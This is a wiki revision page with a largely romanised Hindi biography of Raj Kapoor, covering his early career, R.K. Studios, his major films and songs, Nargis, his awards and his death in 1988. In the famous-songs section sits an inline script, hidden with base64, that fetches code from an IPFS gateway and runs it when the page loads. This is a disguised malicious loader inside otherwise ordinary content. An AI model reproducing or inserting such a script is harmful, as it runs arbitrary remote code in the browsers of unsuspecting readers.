Difference between revisions of "राज कपूर"
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राज कपूर की फ़िल्मों के कई गीत बेहद लोकप्रिय हुए, जिनमें 'मेरा जूता है जापानी', 'आवारा हूँ' और 'ए भाई ज़रा देख के चलो' शामिल हैं। | राज कपूर की फ़िल्मों के कई गीत बेहद लोकप्रिय हुए, जिनमें 'मेरा जूता है जापानी', 'आवारा हूँ' और 'ए भाई ज़रा देख के चलो' शामिल हैं। | ||
====<u>राज कपूर का प्रिय रंग</u>==== | ====<u>राज कपूर का प्रिय रंग</u>==== | ||
| − | बचपन में ही राज कपूर को सफ़ेद साड़ी पहने स्त्री से मोह हो गया था। इस मोह को उन्होंने अपने जीवन भर बनाए रखा। राज कपूर की फ़िल्मों की तमाम हीरोइनों नरगिस, पद्मिनी, वैजयंतीमाला, जीनत अमान, पद्मिनी कोल्हापुरे, मंदाकिनी ने परदे पर सफ़ेद साड़ी पहनी है और घर में इनकी पत्नी कृष्णा ने हमेशा सफ़ेद साड़ी पहनकर अपने शो-मेन के शो को जारी रखा है। | + | बचपन में ही राज कपूर को सफ़ेद साड़ी पहने स्त्री से मोह हो गया था। इस मोह को उन्होंने अपने जीवन भर बनाए रखा। राज कपूर की फ़िल्मों की तमाम हीरोइनों नरगिस, पद्मिनी, [[वैजयंतीमाला]], जीनत अमान, पद्मिनी कोल्हापुरे, मंदाकिनी ने परदे पर सफ़ेद साड़ी पहनी है और घर में इनकी पत्नी कृष्णा ने हमेशा सफ़ेद साड़ी पहनकर अपने शो-मेन के शो को जारी रखा है। |
| + | |||
====<u>संगीत</u>==== | ====<u>संगीत</u>==== | ||
संगीत की राज कपूर को अच्छी समझ थी। राज कपूर को गीत बनने के पहले एक बार अवश्य सुनाया जाता था। आर. के. बैनर तले राज कपूर जी ने अपने | संगीत की राज कपूर को अच्छी समझ थी। राज कपूर को गीत बनने के पहले एक बार अवश्य सुनाया जाता था। आर. के. बैनर तले राज कपूर जी ने अपने | ||
Revision as of 04:17, 3 November 2011
raj kapoor
| |
| poora nam | ranabir raj kapoor |
| any nam | shomain |
| janm | 14 disanbar, 1924 |
| janm bhoomi | peshavar, pakistan |
| mrityu | 2 joon, 1988 |
| mrityu sthan | nee dilli |
| pati/patni | krishnaa malhotra |
| santan | ranadhir kapoor, rrishi kapoor, rajiv kapoor, ritu nanda, rima jain |
| karm bhoomi | muanbee |
| karm-kshetr | abhineta, nirmata v nirdeshak |
| mukhy filmean | ag, nilakamal, mera nam jokar, jagate raho, avara, shri 420, ram teri ganga maili |
| puraskar-upadhi | dada saheb phalke puraskar, padm bhooshan, 9 bar filmapheyar avard |
| filmaye git | 'mera joota hai japani', 'avara hooan' aur 'e bhaee zara dekh ke chalo', kisi ki muskurahatoan pe ho nisar, pyar hua ikarar hua, jina yahaan marana yahaan |
| vebasait | raj kapoor |
| any janakari | raj kapoor ji ne 1947 mean ar. ke. films eand stoodiyoj ki sthapana ki thi. |
ranabir raj kapoor (janm- 14 disanbar, 1924, peshavar, pakistan (pahale bharat mean); mrityu- 2 joon, 1988, nee dilli), hindi film abhineta, nirmata v nirdeshak haian. raj kapoor bharat, madhy-poorv, tatkalin soviyat sangh aur chin mean lokapriy haian. raj kapoor ji ko abhinay virasat mean hi mila tha. inake pita prithviraj apane samay ke mashahoor rangakarmi aur film abhineta hue haian. raj kapoor ke pita prithviraj kapoor ne apane prithvi thiyetar ke jarie poore desh ka daura kiya. raj kapoor bhi unake sath jate the aur rangamanch par kam bhi karate the. prithviraj kapoor ko maranoparaant dadasaheb phalake avard diya gaya.
jivan parichay
raj kapoor hindi sinema jagat ka vah nam hai, jo pichhale ath dashakoan se filmi akash par jagamaga raha hai aur ane vale kee dashakoan tak bhulaya nahian ja sakega. raj kapoor ki filmoan ki pahachan unaki aankhoan ka bholapan hi raha hai. prithviraj kapoor ke sabase b de bete raj kapoor ka janm 14 disambar 1924 ko peshavar mean hua tha. unaka bachapan ka nam ranabir raj kapoor tha. raj kapoor ki skooli shiksha kolakata mean huee, lekin padhaee mean unaka man kabhi nahian laga. yahi karan tha ki raj kapoor ne 10 ki padhaee bich mean hi chho d di. is manamauji ne apane vidyarthi jivan mean kitabean bechakar khoob kele, pako de aur chat khaee. thumb|250px|left|raj kapoor stamp san 1929 mean jab prithviraj kapoor muanbee ae, to unake sath masoom raj kapoor bhi a ge. prithviraj kapoor siddhaantoan ke pakke iansan the. raj kapoor ko unake pita ne saph kah diya tha ki rajoo, niche se shuruat karoge to oopar tak jaoge. raj kapoor ne pita ki yah bat gaanth baandh li aur jab unhean satrah varsh ki umr mean ranajit mooviton mean sadharan epreantis ka kam mila, to unhoanne vajan uthane aur poanchha lagane ke kam se bhi parahej nahian kiya. kam ke prati raj kapoor ki lagan pandit kedar sharma ke sath kam karate hue rang laee, jahaan unhoanne abhinay ki barikiyoan ko samajha. ek bar raj kapoor ne galati hone par kedar sharma ji se chaanta bhi khaya tha. usake bad ek samay aisa bhi aya, jab kedar sharma ne apani film 'nilakamal' (1947) mean madhubala ke sath raj kapoor ko nayak ke roop mean prastut kiya.
nilakamal
kedar sharma us samay ke namachin nirdeshakoan mean se ek the. kedar sharma ne raj kapoor ko klaipar bv aauy ke roop mean bharati kar kiya. ek din ki bat hai kisi sh aaut ko filmane ke dauran raj kapoor ne klaip ko itani jor se takaraya ki abhineta ki nakali dadhi usamean phansakar bahar a gee. kedar sharma ne gusse mean raj kapoor ko joradar thapp d rasid kar diya. thapp d ne apana kam kiya aur raj kapoor ko bad mean kedar sharma ke nirdeshan mean hi 'nilakamal" mil gee. is film mean madhubala unaki nayika thian.[1]
abhinay ki shuruat
raj kapoor ne 1930 ke dashak mean b aaumbe t aaukiz mean klaipar-b aauy aur prithvi thietar mean ek abhineta ke roop mean kam kiya, ye donoan kanpaniyaan unake pita prithviraj kapoor ki thian. raj kapoor bal kalakar ke roop mean 'iankalab' (1935) aur 'hamari bat' (1943), 'gauri' (1943) mean chhoti bhoomikaoan mean kaimare ke samane a chuke the. raj kapoor ne film valmiki (1946), 'narad aur amaraprem' (1948) mean krishna ki bhoomika nibhaee thi. in tamam gatividhiyoan ke bavazood unake dil mean ek ag sulag rahi thi ki ve svayan nirmata-nirdeshak banakar apani svatantr film ka nirman kare. unaka sapana 24 sal ki umr mean film 'ag' (1948) ke sath poora hua. raj kapoor ne parde par pahali pramukh bhoomika ag (1948) mean nibhaee, jisaka nirman aur nirdeshan bhi unhoanne svayan kiya tha. isake bad raj kapoor ke man mean apana stoodiyo banane ka vichar aya aur chemboor mean char ek d zamin lekar 1950 mean unhoanne apane ar. ke. stoodiyo ki sthapana ki aur 1951 mean 'avara' mean roomani nayak ke roop mean khyati paee. raj kapoor ne 'barasat' (1949), 'shri 420' (1955), 'jagate raho' (1956) v 'mera nam jokar' (1970) jaisi saphal filmoan ka nirdeshan v lekhan kiya aur unamean abhinay bhi kiya. unhoanne aisi kee filmoan ka nirdeshan kiya, jinamean unake do bhaee shammi kapoor v shashi kapoor aur tin bete ranadhir, rrishi v rajiv abhinay kar rahe the. yadyapi unhoanne apani aranbhik filmoan mean roomani bhoomikaean nibhaee, lekin unaka sarvadhik prasiddh charitr 'charli chaipalin' ka garib, lekin eemanadar 'avara' ka pratiroop hai. unaka yaun bianboan ka prayog aksar paranparagat roop se sakht bharatiy film manakoan ko chunauti deta tha.
prasiddh git
|
chitr:Blockquote-open.gif
raj kapoor ke charitr chahe sidhe-sade gaanv vale ke hoan, chahe mumbiya ch aaul-vasi smart yuva ke, vah ek aisa am hindustani tha ki sidha-pan aur apane samajik-bhavanatmak moolyoan ke prati usaka lagav chhlakata tha. usaki aankhoan-batoan se aur usake kisi kathin paristhiti mean p dane par lie jane vale nirnay se unaka lagav dikhata tha. raj kapoor ka nirnay hamesha ashavad se bhara aur manavata ki jit ka hota tha, bhale hi vyaktigat har ya tatkalik nuksan avashyambhavi ho.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raj kapoor ki filmoan ke kee git behad lokapriy hue, jinamean 'mera joota hai japani', 'avara hooan' aur 'e bhaee zara dekh ke chalo' shamil haian.
raj kapoor ka priy rang
bachapan mean hi raj kapoor ko safed sa di pahane stri se moh ho gaya tha. is moh ko unhoanne apane jivan bhar banae rakha. raj kapoor ki filmoan ki tamam hiroinoan naragis, padmini, vaijayantimala, jinat aman, padmini kolhapure, mandakini ne parade par safed sa di pahani hai aur ghar mean inaki patni krishnaa ne hamesha safed sa di pahanakar apane sho-men ke sho ko jari rakha hai.
sangit
sangit ki raj kapoor ko achchhi samajh thi. raj kapoor ko git banane ke pahale ek bar avashy sunaya jata tha. ar. ke. bainar tale raj kapoor ji ne apane
- sangitakar- shankarajay kishan
- gitakar- shaileandr, hasarat jayapuri, vitthalabhaee patel, ravindr jain
- gayak- mukesh, manna de
- chhayakar- raghoo karamarakar
- kala nirdeshak- prakash arora, raja navathe adi sathiyoan ki tim taiyar ki. raj kapoor ji ne filmi duniya mean sangathan ka jo udaharan diya hai, vah bejo d hai.
gayan
raj kapoor ne film 'dil ki rani' mean apana plebaik pahali bar khud diya tha. san 1947 mean bani is film ke sangit nirdeshak sachin dev barman the. is film mean nayika ki bhoomika madhubala ne ki thi. is film ke git ka mukh da hai- o duniya ke rakhavale bata kahaan gaya chitachor. isake alava raj kapoor ne film jelayatra mean bhi ek git gaya tha.
raj kapoor aur naragis
thumb|250px|raj kapoor raj kapoor aur naragis ne 9 varsh mean 17 filmoan mean abhinay kiya. alagav ke bad donoan hi khamosh rahe. un donoan ki garimamayi khamoshi us yug ka sanskar thi. san 1956 mean film jagate raho ka aantim drishy naragis ki vidaee ka drishy tha. rat bhar ke pyase nayak ko mandir ki pujarin pani pilati hai. film ki vah pyas saanskritik punarjagaran ka pratik thi. rajakapoor aur naragis ke bich alagav ki pahali darar roos yatra ke dauran aee. tab tak 'avara' roos ki aghoshit rashtriy film ho chuki thi. raj kapoor ka masko ke aitihasik lal chaurahe par nagarik abhinandan kiya gaya. usi rat raj kapoor ne naragis se kaha 'aee haiv dan it'. aur isake poorv har saphalata par raj kapoor kahate the 'vi haiv dan it'. donoan ke pas aham saman tha aur anajane mean kahe ge ek shabd ne unake sanbandhoan mean darar dal di. varshoan ki aantarangata par yah ek shabd bhari p d gaya. raj kapoor aur naragis jis tarah apane prem mean mahan the, usi tarah apane alagav mean bhi nirale the. rrishikapoor ke vivah mean 25 varsh bad naragis apane pati aur putr ke sath ar. ke. stoodiyo aee thian. us yadagar mulakat mean raj kapoor maun rahe. yahaan tak ki raj kapoor ki bahut kuchh bolane vali aankhean bhi maun hi rahi. krishnaa ji se naragis ne kaha ki aj patni aur maan hone par unhean unaki pi da ka ahasas ho raha hai. kiantu garimamay krishnaa ji ne unhean samajhaya ki man mean malal n rakhean, ve nahian hoti to shayad koee aur hota. raj kapoor ke saphal hone mean bahut-sa shrey krishnaa ji ko jata hai. aj bhi vah mahila film udyog mean vyavahar ka prakash stanbh hai.[2]
shomain
hindi filmoan mean raj kapoor ko pahala shomain mana jata hai kyoanki unaki filmoan mean mauj-masti, prem, hiansa se lekar adhyatm aur samajavad tak sab kuchh maujood rahata tha aur unaki filmean evan git aj tak bharatiy hi nahian tamam videshi sine premiyoan ki pasandida soochi mean kafi oopar bane rahate haian. raj kapoor hindi sinema ke mahanatam shomain the jinhoanne kee bar samany kahani par itani bhavyata se filmean banaeean ki darshak bar-bar dekhakar bhi nahian aghate. prasiddh film samikshak vinod bharadvaj ke anusar raj kapoor vastavik shomain the. isake bad subhash ghee ne bhale hi shomain banane ki koshish ki lekin rajakapoor ki bat hi kuchh aur thi. bharadvaj ke anusar rajakapoor ki shuruati filmoan ki qamayabi vishesh roop se ullekhaniy hai. raj kapoor ki 'avara', 'shri 420', 'jis desh mean ganga bahati hai' adi filmoan mean samajavadi soch vishesh roop se ubhar kar samane ati hai.
charli chaipalin ka bharatiyakaran
rajakapoor mean hamean mahan abhineta charli chaipalin ki jhalak dikhayi deti hai. unhoanne chaipalin ko bharatiy jama pahanaya jo behad lokapriy aur akarshak tha, jisane desh mean hi nahian balki videshoan mean bhi apani dhak manavaee. bharadvaj ke anusar rajakapoor ne mahan abhineta charli chaipalin ka bharatiyakaran shuroo kiya aur shri 420 mean yah ne mukam par pahuanchata dikhata hai. unhoanne chaipalin ki chhavi ka jo bharatiyakaran kiya, usaka apana akarshan aur mahattv hai.
sanyojak
thumb|250px|raj kapoor rajakapoor ek sanpoorn filmakar ke roop mean hindi sinema ka mahattvapoorn hissa bane rahe. unaki filmoan mean shankar jayakishan, khvaja ahamad abbas, shaileandr, hasarat jayapuri, mukesh, radhoo karamakar sarikhe namoan ki aham bhoomika rahi. yahi vajah hai ki kee filmakar rajakapoor ka moolyaankan karate samay unhean ek mahan sanyojak ke roop mean bhi dekhate haian.
alag chhap
rajakapoor ko film ki vibhinn vidhaoan ki behatarin samajh thi. yah unaki filmoan ke kathanak, katha pravah, git sangit, filmaankan adi mean spasht mahasoos kiya ja sakata hai. shayad isaki vajah nichale darje se saphar ki shuruat thi. rajakapoor ke pita prithviraj kapoor apane daur ke pramukh sitaroan mean se the lekin filmoan mean rajakapoor ki shuruat chauthe asisteant ke roop mean huee thi. rajakapoor ne ek sakshatkar mean kaha tha, pitaji ka nam mere lie kitana sahayak hua yah nahian maloom. unhoanne filmoan mean mujhe chauthe asisteant ke roop mean bheja. shayad yahi vajah rahi ki apani filmoan ke harek mamale mean unaki alag chhap spasht dikhati hai.
ummid
samikshakoan ke anusar unaki filmoan ko mote taur par do hissoan mean baanta ja sakata hai. ek or prem pradhan filmean haian jinamean ag, barasat, sangam, b aaubi adi haian. doosari shreni un filmoan ki hai jinamean svatantrata ke bad ki pidhi ke sapane nazar ate haian aur azadi ke bad sab kuchh thik ho jane ka sapana hai. tatkalin pradhanamantri javaharalal neharoo ke sapanoan ke sath unaki filmean ek ummid dikhati haian. is kram mean shri 420, boot palish, ab dilli door nahian, jis desh mean ganga bahati hai, avara adi ka nam liya ja sakata hai.
mera nam jokar aur avara
rajakapoor ki mahattvakaankshi film mera nam jokar ek or jahaan ganbhir aur manav svabhav ke darshan par adharit hai vahian avara lik se hatakar film thi. avara unaki pahali film thi jise videsh mean bhi khoob pasand kiya gaya. is film mean unhoanne spasht roop se bataya hai ki aparadh ka khoon se koee sanbandh nahian hai aur ek bhale ghar ka l daka bhi aparadhiyoan ki sangat mean p dakar aparadh ki duniya mean utar jata hai, vahian aparadhi ka bachcha bhi behatar iansan ban sakata hai. yah soch prachalit soch ke viparit thi jise kafi pasand kiya gaya.
ram teri ganga maili
bataur nirmata-nirdeshak raj kapoor aant tak darshakoan ki pasand ko samajhane mean qamayab rahe. 1985 mean pradarshit ram teri ganga maili ki qamayabi se ise samajha ja sakata hai jabaki us daur mean vidiyo ke agaman ne hindi sinema ko kafi nuqasan pahuanchaya tha aur b di-b di filmoan ko apekshit qamayabi nahian mil rahi thi. ram teri ganga maili ke bad vah hina par kam kar rahe the par niyati ko yah manjoor nahian tha aur dada sahab phalke sahit vibhinn puraskaroan se sammanit mahan filmakar ka do joon 1988 ko nidhan ho gaya.[3]
sachchi nishtha aur prem ka saboot
aj hamare bich mean rajakapoor nahian hai lekin unaki soch aur vichar jaroor hamare bich mean haian, haan ise samay ki mar kaheange ya durbhagy, ki aj ar. ke. stoodiyo ki halat behad dayaniy hai, ar. ke. stoodiyo ne 'a ab laut chale' ke bad koee film nahian banayi hai lekin haan ab rajakapoor ki navasi karina kapoor ne fir se ar. ke. stoodiyo yani rajakapoor ke sapane ko zianda karane ki koshish ki hai. khabar hai ki karina stoodiyo ko fir se chalane ja rahi hai aur rajakapoor ke bete rrishi kapoor ek film dayarekt karane ja rahe haian jisamean unake bete ranabir kapoor lid rol mean hoange. chalie der se sahi lekin kapoor khanadan ne ye qadam uthaya jo vakee mean tarife kabil hai. jo unaka apane priy pita aur sho main rajakapoor ke prati sachchi nishtha aur prem ka saboot hai.[4]
nirnay
| varsh | film | charitr |
|---|
raj kapoor ke charitr chahe sidhe-sade gaanv vale ke hoan, chahe mumbiya ch aaul-vasi smart yuva ke, vah ek aisa am hindustani tha ki sidha-pan aur apane samajik-bhavanatmak moolyoan ke prati usaka lagav chhlakata tha. usaki aankhoan-batoan se aur usake kisi kathin paristhiti mean p dane par lie jane vale nirnay se unaka lagav dikhata tha. raj kapoor ka nirnay hamesha ashavad se bhara aur manavata ki jit ka hota tha, bhale hi vyaktigat har ya tatkalik nuksan avashyambhavi ho. apani isi pahachan ko ek am 'hindustani' ki chhavi se saphalatapoorvak jo d kar, raj ji ne ek aise nayak ko jiya jo suparamain nahian tha, jise apani thati, moolyoan aur zamin se pyar tha. jo das-bis adamiyoan ko pit nahian pata tha, lekin 'sahi' ke paksh mean rah kar pit jane se qadam pichhe bhi nahian karata tha.
aisi sahanubhooti jutana sabake lie sulabh nahian tha, aur yahaan tak ki jab "sangam" mean rajakapoor ka charitr apani sidhi-sachchi khiland depan se ju di muhabbat lutata hai nayika par, jo pahale hi any nayak (rajendrakumar) ki muhabbat mean giraftar hai, to prachalan ke anusar dekhean to rajakapoor ko do ke bich ane vala tisara banana chahie tha, magar sahanubhooti darshakoan ki unhian ke sath rahati hai; log nayika par aur pahale nayak par kudhate haian kathanak ke har ne vistar ke sath ki ye log ise (rajakapoor ko) sab saf-saf batate kyoan nahian, dhokha kyoan de rahe haian ise? yani jo "tisara" banane vala tha 'do' ke bich, vahi bechara hai, sahanubhooti usi ke sath hai![5]
raj kapoor aur ranabir kapoor mean samanata
rajakapoor aur ranabir kapoor mean ek samanata hai. donoan jis dayarektar ke asisteant the, donoan ne usi dayarektar ki film se ektiang kariyar ki shuruat ki. sabhi janate haian ki rajakapoor ne skool ki padhaee poori nahian ki thi. ve kedar sharma ke asisteant rahe aur san 1944 mean unhian ki film nilakamal se bataur ektar darshakoan ke samane ae. 1947 mean unhoanne ar. ke. films eand stoodiyoj ki sthapana ki. thumb|250px|kapoor parivar ranabir bhi apane dada ki tarah sanjay lila bhansali ke sahayak rahe aur fir unaki hi film saanvariya se bataur ektar darshakoan ke samane ae. ab yah dekhana hai ki ve ar. ke. films eand stoodiyoj ko kab punarjivit karate haian?[6]
jivan ek rangamanch
kisi ki muskurahatoan pe ho nisar,
kisi ka dard mil sake to le udhar,
kisi ke vaste ho tere dil mean pyar...
jina isi ka nam hai...
rajakapoor par filmaya gaya yah git hamare jivan par bilakul satik baithata hai. jivan ek aisa rangamanch hai. jahaan par jina-marana, uthana-baithana, rona-gana sabhi kuchh sath-sath chalata rahata hai, lekin fir bhi in sabake bavazood adami jine ko mazaboor hai. vah chahakar bhi is rangamanch ke stej se utarakar bhag nahian sakata, kahian door ja nahian sakata, zyada din isase apana pichha chhu da nahian sakata. yah ek param saty hai. jivan mean kee mushhkilean rojana hamare samane ati rahati haian. ek khatm karo to palak jhapakane se pahale hi doosari mushkil hamare jivan ke daravaje par muanhabae kh di ho jati hai. lekin phir bhi un sabaka muqabala karake, un sabhi ane vali mushkiloan ka samana karake is rangamanch par khare utarana hi sachchi manavata ki nishani hai.[7]
film nirman ke kshetr mean qadam
aandaj ke bad raj kapoor ne nirman ke kshetr mean qadam rakha aur avara (1951), shri 420 (1955), chori-chori (1956), jis desh mean ganga bahati hai (1960) jaisi saphal filmean banaeean. in filmoan ne raj kapoor ko charli chaipalin vali bharatiy imej di.
in sabhi filmoan mean raj kapoor ne am adami ka bakhoobi chitran kiya hai. unaki filmoan mean phutapath par rahane vale, pheri lagane valoan ko asani se dekha ja sakata tha. raj kapoor aksar mahange hotaloan aur restaraan ke bajae chhote-chhote dhaboan par jate aur logoan se bat karate aur usi adhar par apane filmoan ke charitr gadhate the. raj kapoor ne hamesha am adami ke lie filmean banaee. 1960 ke dashak mean unhoanne sangam banaee. jisake nirmata-nirdeshak ve svayan the. film mean rajeandr kumar, vaijayantimala aur svayan raj sahab keandriy bhoomika mean the. yah unaki pahali rangin aur nayak ke taur par akhiri hit film thi. isake kuchh saloan ke bad unhoanne apani mahattvakaankshi film mera nam jokar shuroo ki. yah film qarib chhah saloan mean poori huee. film banane mean kafi paisa bhi kharch hua. lekin 1970 mean jab film rilij huee to yah b aauks aauphis par auandhe muanh giri. raj kapoor ke lie yah bahut badha jhataka tha. kyoanki yah unaka drim projekt tha. aisa kaha jata hai ki film ki kahani unake niji jivan se prerit thi. film ki lanbaee bhi kafi charcha ka vishay thi. aisa kaha jata hai ki jab yah film bani to isaki lanbaee qarib paanch ghante ki thi. isaki aantarashtriy star par rilij ki gee dividi mean lanbaee qarib 233 minat rakhi gee hai jabaki bharatiy darshakoan ke lie isamean 184 minat ki film kat di gee. yah rrishi kapoor ki pahali film thi. mera nam jokar ke pitane se raj kapoor ko itana ghata hua tha ki ek bar to unhoanne karz chukane ke lie ar. ke. stoodiyo ko nilam karane ki tak soch dali thi.
| san | puraskar | film |
|---|---|---|
| 1960 | sarvashreshth abhineta puraskar | ana di |
| 1962 | sarvashreshth abhineta puraskar | jis desh mean ganga bahati hai |
| 1965 | sarvashreshth nirdeshak puraskar | sangam |
| 1970 | sarvashreshth nirdeshak puraskar | mera nam jokar |
| 1972 | sarvashreshth nirdeshak puraskar | mera nam jokar |
| 1983 | sarvashreshth nirdeshak puraskar | prem rog |
itana hone ke bad bhi film ko sarvashreshth sangitakar shankar jayakishan, sarvashreshth nirdeshak raj kapoor, sarvashreshth sinemaitografi radh karamarakar, sarvashreshth parshvagayak manna de (ai bhaee jara dekh ke chalo...) aur sarvashreshth sauand rik aaurdiang alauddin khan kuraishi ko film pheyar avard mila. yah us samay ki mega star film thi, jisamean raj kapoor ke alava, dharmeandr, manoj kumar, simi greval, dara sianh, padmamini, rajeandr kumar, achala sachadev, rrishi kapoor aur rashiyan adakara soniya pramukh thian.
puraskar
raj kapoor ko san 1987 mean dada saheb phalke puraskar pradan kiya gaya tha. raj kapoor ji ko kala ke kshetr mean bharat sarakar dvara, san 1971 mean padm bhooshan se sammanit kiya gaya tha.
mrityu
2 mee, 1988 ko ek puraskar samaroh ke dauran, jisamean raj kapoor ko bharatiy film udyog ka sarvochch samman dadasahab phalke puraskar pradan kiya gaya, raj kapoor ko dame ka bhayankar daura p da aur vah gir ge. ziandagi aur maut ke bich ve ek mah tak sangharsh karate rahe. aant mean 2 joon, 1988 ko unaka dehavasan ho gaya. ise ek sanyog hi kaha ja sakata hai ki 3 mee, 1980 ko naragis ka dehaant hua aur raj kapoor ko asthama ka daura 2 mee ko p da. sal bhale hi alag hoan par in doanno ki mrityu ke bich ki tarikhean to kafi qarib thian.
raj kapoor svayan haeeskool pas nahian kar pae the, to kya hua. aj unaki banae pune ke loni haee skool mean hazaroan bachche har sal uttirn ho rahe haian. bharatiy sinema ke itihas mean yah ek aisa parivar hai, jise film ka sarvochch dada saheb phalake puraskar do bar mila hai. is parivar ki char pidhiyaan filmi kshetr mean apani sevaean de rahi haian. rrishikapoor ke bete ranavir kapoor, ranadhir kapoor ki betiyaan karishma aur karina ne is paranpara ko banae rakha hai. ar. ke. stoodiyo bhale hi paristhitivash badahali mean ho, kiantu bhaee shashikapoor ne prithvi thiyetar ko apane bachchoan ke hathoan sauanpakar pita ki virasat ko saheje rakha hai.
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tika tippani aur sandarbh
- ↑ bakhshi, mayoor malahar. raj kapoor (hindi) (ech ti em el) chalo sinema. abhigaman tithi: 13 disanbar, 2010.
- ↑ nili aankhoan ka jadoogar raj kapoor (hindi) (ech ti em el) sanvedanaoan ke pankh. abhigaman tithi: 13 disanbar, 2010.
- ↑ raj kapoor (hindi) (ech ti em el) jagaran. abhigaman tithi: 13 disanbar, 2010.
- ↑ rajakapoor the vastavik shomain (hindi) (ech ti em el) vaniandiya hindi. abhigaman tithi: 13 disanbar, 2010.
- ↑ raj kapoor (hindi) (ech ti em el) sangam tire. abhigaman tithi: 13 disanbar, 2010.
- ↑ raj kapoor (hindi) (ech ti em el) jagaran. abhigaman tithi: 13 disanbar, 2010.
- ↑ jina esi ka nam hai (hindi) (ech ti em) vebaduniya. abhigaman tithi: 13 disanbar, 2010.
bahari k diyaan
sanbandhit lekh
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